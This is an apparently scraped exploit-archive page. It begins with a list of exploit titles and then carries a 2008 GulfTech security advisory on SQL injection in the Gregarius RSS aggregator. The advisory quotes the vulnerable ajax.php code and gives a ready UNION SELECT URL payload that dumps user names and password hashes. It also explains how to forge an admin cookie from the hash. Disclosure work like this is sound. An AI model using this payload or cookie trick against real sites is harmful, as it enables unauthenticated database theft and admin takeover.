477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
70 lines
2.4 KiB
Text
Executable file
70 lines
2.4 KiB
Text
Executable file
##########################################################
|
|
# GulfTech Security Research July 29, 2008
|
|
##########################################################
|
|
# Vendor : Marco Bonetti
|
|
# URL : http://www.gregarius.net/
|
|
# Version : Gregarius <= 0.5.4
|
|
# Risk : SQL Injection
|
|
##########################################################
|
|
|
|
|
|
Description:
|
|
Gregarius is a popular web-based RSS/RDF/ATOM feed aggregator
|
|
written in php. There are some SQL Injection issues in Gregarius
|
|
that allow for the disclosure of database contents and ultimately
|
|
the complete compromise of the Gregarius installation via exposed
|
|
admin credentials. It is advised that Gregarius users update their
|
|
gregarius installations as soon as possible.
|
|
|
|
|
|
|
|
SQL Injection:
|
|
Gregarius contains a number of SQL Injection issues that allow for
|
|
an attacker to expose admin credentials with no kind of authentication
|
|
needed. Lets have a look at the following code taken from /ajax.php
|
|
|
|
|
|
function __exp__getFeedContent($cid) {
|
|
ob_start();
|
|
rss_require('cls/items.php');
|
|
|
|
$readItems = new ItemList();
|
|
|
|
$readItems -> populate(" not(i.unread & ". RSS_MODE_UNREAD_STATE .")
|
|
and i.cid= $cid", "", 0, 2, ITEM_SORT_HINT_READ);
|
|
$readItems -> setTitle(LBL_H2_RECENT_ITEMS);
|
|
$readItems -> setRenderOptions(IL_TITLE_NO_ESCAPE);
|
|
foreach ($readItems -> feeds[0] -> items as $item) {
|
|
$item -> render();
|
|
}
|
|
$c = ob_get_contents();
|
|
|
|
ob_end_clean();
|
|
return "$cid|@|$c";
|
|
}
|
|
|
|
|
|
The above function is called by sajax_handle_client_request() and
|
|
allows for an attacker to specify the content of $cid via the rsargs[]
|
|
array. This being the case an attacker is able to influence the query
|
|
regardless of magic_quotes_gps settings etc.
|
|
|
|
/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(
|
|
char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*
|
|
|
|
The above query would successfully dump the users table to the browser.
|
|
The password hashes in the database are md5 encrypted, but an attacker
|
|
only need to md5 encrypt that password hash and place it in a cookie with the format of user|hash to gain access to the administrative controls.
|
|
|
|
|
|
|
|
Solution:
|
|
The Gregarius developers have been made aware of this issue, and users
|
|
are encouraged to upgrade as soon as possible.
|
|
|
|
|
|
|
|
Credits:
|
|
James Bercegay of the GulfTech Security Research Team
|
|
|
|
# milw0rm.com [2008-07-29]
|